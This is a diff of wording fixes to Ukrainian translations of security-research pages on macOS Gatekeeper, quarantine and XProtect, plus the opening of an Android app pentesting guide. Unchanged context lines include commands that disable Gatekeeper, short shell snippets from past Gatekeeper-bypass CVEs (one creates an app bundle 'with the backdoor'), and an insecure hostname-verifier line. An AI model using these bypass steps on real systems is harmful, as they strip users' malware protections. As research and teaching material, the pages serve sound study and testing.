@ -84,10 +84,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
**`syspolicyd`** також надає XPC сервер з різними операціями, такими як `assess`, `update`, `record` та `cancel`, які також доступні через **`Security.framework`'s `SecAssessment*`** API, а **`spctl`** насправді спілкується з **`syspolicyd`** через XPC.
|
||||
**`syspolicyd`** також відкриває XPC сервер з різними операціями, такими як `assess`, `update`, `record` та `cancel`, які також доступні через **`Security.framework`'s `SecAssessment*`** API, а **`spctl`** насправді спілкується з **`syspolicyd`** через XPC.
|
||||
|
||||
Зверніть увагу, що перше правило закінчується на "**App Store**", а друге на "**Developer ID**", і що в попередньому зображенні було **дозволено виконувати програми з App Store та ідентифікованих розробників**.\
|
||||
Якщо ви **зміните** це налаштування на App Store, то "**Правила Notarized Developer ID" зникнуть**.
|
||||
Зверніть увагу, як перше правило закінчується на "**App Store**", а друге на "**Developer ID**", і що в попередньому зображенні було **дозволено виконувати програми з App Store та ідентифікованих розробників**.\
|
||||
Якщо ви **зміните** це налаштування на App Store, то правила "**Notarized Developer ID" зникнуть**.
|
||||
|
||||
Існує також тисячі правил **типу GKE**:
|
||||
```bash
|
||||
@ -108,7 +108,7 @@ cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
Опції **`--master-disable`** та **`--global-disable`** команди **`spctl`** повністю **відключать** ці перевірки підписів:
|
||||
Опції **`--master-disable`** та **`--global-disable`** для **`spctl`** повністю **відключать** ці перевірки підписів:
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
@ -141,11 +141,11 @@ sudo spctl --enable --label "whitelist"
|
||||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
Щодо **розширень ядра**, папка `/var/db/SystemPolicyConfiguration` містить файли зі списками kext, які дозволено завантажувати. Більше того, `spctl` має право `com.apple.private.iokit.nvram-csr`, оскільки він здатний додавати нові попередньо схвалені розширення ядра, які також потрібно зберігати в NVRAM у ключі `kext-allowed-teams`.
|
||||
Щодо **kernel extensions**, папка `/var/db/SystemPolicyConfiguration` містить файли зі списками kext, які дозволено завантажувати. Більше того, `spctl` має право `com.apple.private.iokit.nvram-csr`, оскільки він здатний додавати нові попередньо схвалені kernel extensions, які також потрібно зберігати в NVRAM у ключі `kext-allowed-teams`.
|
||||
|
||||
#### Керування Gatekeeper на macOS 15 (Sequoia) та пізніше
|
||||
#### Управління Gatekeeper на macOS 15 (Sequoia) та пізніше
|
||||
|
||||
Починаючи з macOS 15 Sequoia, кінцеві користувачі більше не можуть змінювати політику Gatekeeper з `spctl`. Керування здійснюється через Налаштування системи або шляхом розгортання профілю конфігурації MDM з корисним навантаженням `com.apple.systempolicy.control`. Приклад фрагмента профілю для дозволу App Store та ідентифікованих розробників (але не "Де завгодно"):
|
||||
Починаючи з macOS 15 Sequoia, кінцеві користувачі більше не можуть змінювати політику Gatekeeper з `spctl`. Управління здійснюється через Налаштування системи або шляхом розгортання профілю конфігурації MDM з корисним навантаженням `com.apple.systempolicy.control`. Приклад фрагмента профілю для дозволу App Store та ідентифікованих розробників (але не "У будь-якому місці"):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -181,20 +181,20 @@ spctl --assess -v /Applications/App.app
|
||||
```
|
||||
### Quarantine Files
|
||||
|
||||
При **завантаженні** програми або файлу, певні програми macOS, такі як веб-браузери або поштові клієнти, **додають розширений атрибут файлу**, відомий як "**прапор карантину**," до завантаженого файлу. Цей атрибут діє як захисний захід, щоб **позначити файл** як такий, що походить з ненадійного джерела (інтернету), і потенційно несе ризики. Однак не всі програми додають цей атрибут, наприклад, звичайне програмне забезпечення клієнта BitTorrent зазвичай обходить цей процес.
|
||||
При **завантаженні** програми або файлу, певні програми macOS, такі як веб-браузери або поштові клієнти, **додають розширений атрибут файлу**, відомий як "**прапор карантину**," до завантаженого файлу. Цей атрибут діє як захисний захід, щоб **позначити файл** як такий, що походить з ненадійного джерела (інтернету), і потенційно несе ризики. Однак не всі програми додають цей атрибут, наприклад, звичайне програмне забезпечення клієнтів BitTorrent зазвичай обходить цей процес.
|
||||
|
||||
**Наявність прапора карантину сигналізує про функцію безпеки Gatekeeper macOS, коли користувач намагається виконати файл**.
|
||||
|
||||
У випадку, коли **прапор карантину відсутній** (як у випадку з файлами, завантаженими через деякі клієнти BitTorrent), **перевірки Gatekeeper можуть не виконуватись**. Таким чином, користувачі повинні бути обережними при відкритті файлів, завантажених з менш безпечних або невідомих джерел.
|
||||
|
||||
> [!NOTE] > **Перевірка** **дійсності** підписів коду є **ресурсомістким** процесом, який включає в себе генерацію криптографічних **хешів** коду та всіх його упакованих ресурсів. Крім того, перевірка дійсності сертифіката передбачає проведення **онлайн-перевірки** на серверах Apple, щоб дізнатися, чи був він відкликаний після його видачі. З цих причин повна перевірка підпису коду та нотаризації є **недоцільною для виконання щоразу при запуску програми**.
|
||||
> [!NOTE] > **Перевірка** **дійсності** підписів коду є **ресурсомістким** процесом, що включає генерацію криптографічних **хешів** коду та всіх його упакованих ресурсів. Крім того, перевірка дійсності сертифіката передбачає **онлайн-перевірку** на серверах Apple, щоб дізнатися, чи був він відкликаний після видачі. З цих причин повна перевірка підпису коду та нотаризації є **недоцільною для виконання щоразу при запуску програми**.
|
||||
>
|
||||
> Тому ці перевірки **виконуються лише при виконанні програм з атрибутом карантину.**
|
||||
|
||||
> [!WARNING]
|
||||
> Цей атрибут повинен бути **встановлений програмою, що створює/завантажує** файл.
|
||||
>
|
||||
> Однак файли, які знаходяться в пісочниці, матимуть цей атрибут, встановлений для кожного файлу, який вони створюють. А програми без пісочниці можуть встановити його самостійно або вказати ключ [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) в **Info.plist**, що змусить систему встановити розширений атрибут `com.apple.quarantine` на створені файли.
|
||||
> Однак файли, які знаходяться в пісочниці, матимуть цей атрибут, встановлений для кожного файлу, який вони створюють. А програми без пісочниці можуть встановити його самостійно або вказати ключ [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) у **Info.plist**, що змусить систему встановити розширений атрибут `com.apple.quarantine` на створені файли.
|
||||
|
||||
Більше того, всі файли, створені процесом, що викликає **`qtn_proc_apply_to_self`**, підлягають карантину. А API **`qtn_file_apply_to_path`** додає атрибут карантину до вказаного шляху файлу.
|
||||
|
||||
@ -311,7 +311,7 @@ Quarantine information is also stored in a central database managed by LaunchSer
|
||||
|
||||
Ця бібліотека експортує кілька функцій, які дозволяють маніпулювати полями розширених атрибутів.
|
||||
|
||||
API `qtn_file_*` займаються політиками карантину файлів, API `qtn_proc_*` застосовуються до процесів (файлів, створених процесом). Невиведені функції `__qtn_syscall_quarantine*` є тими, які застосовують політики, які викликають `mac_syscall` з "Quarantine" як першим аргументом, що надсилає запити до `Quarantine.kext`.
|
||||
API `qtn_file_*` стосуються політик карантину файлів, API `qtn_proc_*` застосовуються до процесів (файлів, створених процесом). Невиведені функції `__qtn_syscall_quarantine*` є тими, які застосовують політики, які викликають `mac_syscall` з "Quarantine" як першим аргументом, що надсилає запити до `Quarantine.kext`.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
@ -322,13 +322,13 @@ API `qtn_file_*` займаються політиками карантину ф
|
||||
Він також використовує кілька MIB:
|
||||
|
||||
- `security.mac.qtn.sandbox_enforce`: Застосування карантину разом із Sandbox
|
||||
- `security.mac.qtn.user_approved_exec`: Карантиновані процеси можуть виконувати лише затверджені файли
|
||||
- `security.mac.qtn.user_approved_exec`: Карантинні процеси можуть виконувати лише затверджені файли
|
||||
|
||||
#### Provenance xattr (Ventura і пізніше)
|
||||
|
||||
macOS 13 Ventura представила окремий механізм походження, який заповнюється перший раз, коли карантинований додаток дозволено запустити. Створюються два артефакти:
|
||||
macOS 13 Ventura представила окремий механізм походження, який заповнюється перший раз, коли карантинний додаток дозволяється запускати. Створюються два артефакти:
|
||||
|
||||
- Розширений атрибут `com.apple.provenance` у каталозі `.app` (бінарне значення фіксованого розміру, що містить первинний ключ і прапори).
|
||||
- Розширений атрибут `com.apple.provenance` в каталозі `.app` (бінарне значення фіксованого розміру, що містить первинний ключ і прапори).
|
||||
- Рядок у таблиці `provenance_tracking` всередині бази даних ExecPolicy за адресою `/var/db/SystemPolicyConfiguration/ExecPolicy/`, що зберігає cdhash додатка та метадані.
|
||||
|
||||
Practical usage:
|
||||
@ -346,7 +346,7 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
|
||||
|
||||
XProtect - це вбудована **антивірусна** функція в macOS. XProtect **перевіряє будь-яку програму при першому запуску або модифікації на відповідність своїй базі даних** відомих шкідливих програм та небезпечних типів файлів. Коли ви завантажуєте файл через певні програми, такі як Safari, Mail або Messages, XProtect автоматично сканує файл. Якщо він відповідає будь-якій відомій шкідливій програмі в його базі даних, XProtect **запобіжить виконанню файлу** та сповістить вас про загрозу.
|
||||
|
||||
База даних XProtect **регулярно оновлюється** Apple новими визначеннями шкідливих програм, і ці оновлення автоматично завантажуються та встановлюються на ваш Mac. Це забезпечує, що XProtect завжди актуальний з останніми відомими загрозами.
|
||||
База даних XProtect **регулярно оновлюється** компанією Apple новими визначеннями шкідливих програм, і ці оновлення автоматично завантажуються та встановлюються на ваш Mac. Це забезпечує, що XProtect завжди актуальний з останніми відомими загрозами.
|
||||
|
||||
Однак варто зазначити, що **XProtect не є повнофункціональним антивірусним рішенням**. Він перевіряє лише конкретний список відомих загроз і не виконує сканування при доступі, як більшість антивірусних програм.
|
||||
|
||||
@ -357,7 +357,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
||||
XProtect розташований у захищеному місці SIP за адресою **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, і всередині пакету ви можете знайти інформацію, яку використовує XProtect:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Дозволяє коду з цими cdhashes використовувати спадкові права.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Список плагінів і розширень, які заборонено завантажувати через BundleID і TeamID або вказуючи мінімальну версію.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Список плагінів і розширень, які заборонено завантажувати через BundleID та TeamID або вказуючи мінімальну версію.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Правила Yara для виявлення шкідливого ПЗ.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: База даних SQLite3 з хешами заблокованих додатків і TeamIDs.
|
||||
|
||||
@ -374,13 +374,13 @@ XProtect розташований у захищеному місці SIP за а
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що Gatekeeper **не виконується щоразу**, коли ви запускаєте додаток, лише _**AppleMobileFileIntegrity**_ (AMFI) **перевіряє підписи виконуваного коду** лише тоді, коли ви запускаєте додаток, який вже був виконаний і перевірений Gatekeeper.
|
||||
|
||||
Отже, раніше було можливо виконати додаток, щоб кешувати його з Gatekeeper, а потім **модифікувати не виконувані файли програми** (як файли Electron asar або NIB), і якщо не було інших захистів, програма була **виконана** з **шкідливими** доповненнями.
|
||||
Отже, раніше було можливо виконати додаток, щоб кешувати його з Gatekeeper, а потім **модифікувати не виконувані файли програми** (як файли Electron asar або NIB), і якщо не було інших захистів, програма **виконувалася** з **шкідливими** доповненнями.
|
||||
|
||||
Однак тепер це неможливо, оскільки macOS **запобігає модифікації файлів** всередині пакетів додатків. Тож, якщо ви спробуєте атаку [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), ви виявите, що більше не можна зловживати цим, оскільки після виконання додатка для кешування з Gatekeeper ви не зможете модифікувати пакет. І якщо ви, наприклад, зміните назву каталогу Contents на NotCon (як вказано в експлойті), а потім виконаєте основний бінарний файл програми для кешування з Gatekeeper, це викличе помилку і не буде виконано.
|
||||
Однак тепер це неможливо, оскільки macOS **запобігає модифікації файлів** всередині пакетів додатків. Тож, якщо ви спробуєте атаку [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), ви виявите, що більше не можна зловживати цим, оскільки після виконання додатка для кешування з Gatekeeper ви не зможете модифікувати пакет. І якщо ви, наприклад, зміните назву каталогу Contents на NotCon (як вказано в експлойті), а потім виконаєте основний бінарний файл програми для кешування з Gatekeeper, це викличе помилку і не виконається.
|
||||
|
||||
## Обходи Gatekeeper
|
||||
|
||||
Будь-який спосіб обійти Gatekeeper (змусити користувача завантажити щось і виконати це, коли Gatekeeper повинен це заборонити) вважається вразливістю в macOS. Ось деякі CVE, призначені технікам, які дозволяли обійти Gatekeeper у минулому:
|
||||
Будь-який спосіб обійти Gatekeeper (змусити користувача завантажити щось і виконати це, коли Gatekeeper має це заборонити) вважається вразливістю в macOS. Ось деякі CVE, призначені технікам, які дозволяли обійти Gatekeeper у минулому:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
@ -400,7 +400,7 @@ XProtect розташований у захищеному місці SIP за а
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
У цьому обході був створений zip-файл з додатком, що починає стиснення з `application.app/Contents`, а не з `application.app`. Отже, **атрибут карантину** був застосований до всіх **файлів з `application.app/Contents`**, але **не до `application.app`**, що перевіряв Gatekeeper, тому Gatekeeper був обійдений, оскільки, коли `application.app` був запущений, він **не мав атрибута карантину.**
|
||||
У цьому обході був створений zip-файл з додатком, який починав стискатися з `application.app/Contents`, а не з `application.app`. Отже, **атрибут карантину** був застосований до всіх **файлів з `application.app/Contents`**, але **не до `application.app`**, що перевіряв Gatekeeper, тому Gatekeeper був обійдений, оскільки коли `application.app` був запущений, він **не мав атрибута карантину.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -423,7 +423,7 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
Крім того, **AppleDouble** формат файлу копіює файл, включаючи його ACE.
|
||||
Крім того, формат файлу **AppleDouble** копіює файл, включаючи його ACE.
|
||||
|
||||
У [**джерельному коді**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) можна побачити, що текстове представлення ACL, збережене всередині xattr під назвою **`com.apple.acl.text`**, буде встановлено як ACL у розпакованому файлі. Отже, якщо ви стиснули додаток у zip-файл з форматом файлу **AppleDouble** з ACL, який заважає запису інших xattrs у нього... xattr карантину не було встановлено в додатку:
|
||||
```bash
|
||||
@ -447,7 +447,7 @@ aa archive -d app -o test.aar
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
Формати файлів AppleDouble зберігають атрибути файлу в окремому файлі, що починається з `._`, це допомагає копіювати атрибути файлів **між macOS машинами**. Однак було помічено, що після розпакування файлу AppleDouble, файл, що починається з `._`, **не отримав атрибут карантину**.
|
||||
Формати файлів AppleDouble зберігають атрибути файлу в окремому файлі, що починається з `._`, це допомагає копіювати атрибути файлів **між macOS машинами**. Однак було помічено, що після розпакування файлу AppleDouble файл, що починається з `._`, **не отримав атрибут карантину**.
|
||||
```bash
|
||||
mkdir test
|
||||
echo a > test/a
|
||||
@ -457,8 +457,8 @@ aa archive -d test/ -o test.aar
|
||||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
Можливість створити файл, який не матиме атрибуту карантину, дозволила **обійти Gatekeeper.** Трюк полягав у тому, щоб **створити DMG файл додатку** за допомогою конвенції іменування AppleDouble (почати з `._`) і створити **видимий файл як символьне посилання на цей прихований** файл без атрибуту карантину.\
|
||||
Коли **файл dmg виконується**, оскільки він не має атрибуту карантину, він **обійде Gatekeeper.**
|
||||
Можливість створити файл, у якого не буде встановлено атрибут карантину, дозволила **обійти Gatekeeper.** Трюк полягав у тому, щоб **створити DMG файл додатку** за допомогою назви AppleDouble (почати з `._`) і створити **видимий файл як символічне посилання на цей прихований** файл без атрибута карантину.\
|
||||
Коли **файл dmg виконується**, оскільки у нього немає атрибута карантину, він **обійде Gatekeeper.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
@ -484,7 +484,7 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
### Треті сторони-розархіватори, що неправильно поширюють карантин (2023–2024)
|
||||
|
||||
Кілька вразливостей у популярних інструментах для розархівації (наприклад, The Unarchiver) призвели до того, що файли, витягнуті з архівів, не отримали атрибут `com.apple.quarantine`, що відкриває можливості для обходу Gatekeeper. Завжди покладайтеся на macOS Archive Utility або виправлені інструменти під час тестування та перевіряйте xattrs після розархівації.
|
||||
Кілька вразливостей у популярних інструментах для розархівації (наприклад, The Unarchiver) призвели до того, що файли, витягнуті з архівів, не отримали xattr `com.apple.quarantine`, що відкриває можливості для обходу Gatekeeper. Завжди покладайтеся на macOS Archive Utility або виправлені інструменти під час тестування та перевіряйте xattrs після розархівації.
|
||||
|
||||
### uchg (з цього [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
|
||||
@ -497,7 +497,7 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
### Запобігти xattr карантину
|
||||
|
||||
У пакеті ".app", якщо атрибут карантину не додано до нього, при виконанні **Gatekeeper не буде активовано**.
|
||||
У пакеті ".app", якщо xattr карантину не додано до нього, при виконанні **Gatekeeper не буде активовано**.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Тестування безпеки Android-додатків
|
||||
# Android Applications Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,21 +12,21 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Це основний інструмент, який вам потрібен для підключення до Android-пристрою (емульованого або фізичного).\
|
||||
Це основний інструмент, який вам потрібен для підключення до android-пристрою (емульованого або фізичного).\
|
||||
**ADB** дозволяє контролювати пристрої як через **USB**, так і через **мережу** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
|
||||
|
||||
Ознайомтеся з наступним списком [**команд ADB**](adb-commands.md), щоб дізнатися, як використовувати adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди майте на увазі цю можливість**.
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, модифікувати код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте в умі цю можливість**.
|
||||
|
||||
## Інші цікаві трюки
|
||||
|
||||
- [Спуфінг вашого місцезнаходження в Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (привілейований доступ без root на основі ADB)](shizuku-privileged-api.md)
|
||||
- [Експлуатація ненадійних механізмів оновлення в додатках](insecure-in-app-update-rce.md)
|
||||
- [Shizuku Privileged API (ADB-основний доступ без root)](shizuku-privileged-api.md)
|
||||
- [Експлуатація ненадійних механізмів оновлення в додатку](insecure-in-app-update-rce.md)
|
||||
- [Зловживання службами доступності (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Завантажити APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Витягти APK з пристрою:
|
||||
@ -60,7 +60,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## Статичний аналіз
|
||||
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java-кодом** за допомогою декомпілера.\
|
||||
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
|
||||
|
||||
### Пошук цікавої інформації
|
||||
@ -112,19 +112,19 @@ android-task-hijacking.md
|
||||
|
||||
**Внутрішнє зберігання**
|
||||
|
||||
У Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
|
||||
В Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
|
||||
|
||||
1. **Статичний аналіз:**
|
||||
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
|
||||
2. **Динамічний аналіз:**
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи намірів, **читати або змінювати** ці файли.
|
||||
|
||||
**Зовнішнє зберігання**
|
||||
|
||||
При роботі з файлами на **зовнішньому зберіганні**, наприклад, на SD-картах, слід вжити певних запобіжних заходів:
|
||||
|
||||
1. **Доступність**:
|
||||
- Файли на зовнішньому зберіганні є **глобально читабельними та записуваними**. Це означає, що будь-яка програма або користувач можуть отримати доступ до цих файлів.
|
||||
- Файли на зовнішньому зберіганні є **глобально доступними для читання та запису**. Це означає, що будь-яка програма або користувач можуть отримати доступ до цих файлів.
|
||||
2. **Проблеми безпеки**:
|
||||
- З огляду на легкість доступу, рекомендується **не зберігати чутливу інформацію** на зовнішньому зберіганні.
|
||||
- Зовнішнє зберігання може бути видалено або доступно будь-якою програмою, що робить його менш безпечним.
|
||||
@ -136,7 +136,7 @@ android-task-hijacking.md
|
||||
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисним програмам отримувати доступ на читання або запис до файлів іншої програми.
|
||||
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисним програмам отримувати доступ для читання або запису до файлів іншої програми.
|
||||
|
||||
**Чутливі дані, збережені у відкритому тексті**
|
||||
|
||||
@ -158,7 +158,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
**Слабкі процеси управління ключами**
|
||||
|
||||
Деякі розробники зберігають чутливі дані у локальному сховищі та шифрують їх ключем, закодованим у коді або передбачуваним. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
|
||||
Деякі розробники зберігають чутливі дані у локальному сховищі та шифрують їх ключем, закодованим у коді. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
|
||||
|
||||
**Використання ненадійних та/або застарілих алгоритмів**
|
||||
|
||||
@ -167,10 +167,10 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
### Інші перевірки
|
||||
|
||||
- Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій зrootований**, і діяти відповідно.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток є чутливим (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK.
|
||||
- Якщо додаток чутливий (як банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи пристрій зrootований**, і діяти відповідно.
|
||||
- Якщо додаток чутливий (як банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
- Якщо додаток чутливий (як банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -190,17 +190,17 @@ react-native-application.md
|
||||
|
||||
### Superpacked Applications
|
||||
|
||||
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked - це алгоритм Meta, який стискає вміст програми в один файл. Блог говорить про можливість створення програми, яка розпаковує такі програми... і швидший спосіб, який передбачає **виконання програми та збір розпакованих файлів з файлової системи.**
|
||||
Згідно з цим [**блогом**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked - це алгоритм Meta, який стискає вміст програми в один файл. Блог говорить про можливість створення програми, яка розпаковує такі програми... і швидший спосіб, який передбачає **виконання програми та збір розпакованих файлів з файлової системи.**
|
||||
|
||||
### Автоматизований статичний аналіз коду
|
||||
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** програми. Цей інструмент містить ряд **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** програми. Цей інструмент містить ряд **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем**), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
|
||||
З цими знаннями **mariana-trench перегляне код і знайде можливі вразливості в ньому**.
|
||||
|
||||
### Витік секретів
|
||||
|
||||
Додаток може містити секрети (API ключі, паролі, приховані URL, піддомени...) всередині нього, які ви можете виявити. Ви можете використовувати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
|
||||
Додаток може містити секрети (API ключі, паролі, приховані URL, піддомени...) всередині нього, які ви можете виявити. Ви можете використовувати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Обхід біометричної аутентифікації
|
||||
|
||||
@ -227,7 +227,7 @@ content-protocol.md
|
||||
|
||||
## Динамічний аналіз
|
||||
|
||||
> По-перше, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому дуже рекомендується використовувати пристрій з root-доступом (емулятор або ні).
|
||||
